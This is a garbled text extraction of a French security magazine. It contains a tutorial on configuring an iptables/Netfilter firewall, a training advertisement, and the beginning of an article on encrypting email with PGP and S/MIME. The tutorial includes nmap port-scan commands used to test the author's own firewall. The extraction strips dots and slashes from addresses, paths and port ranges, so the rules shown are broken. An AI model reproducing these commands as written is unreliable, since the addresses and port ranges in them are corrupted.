Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

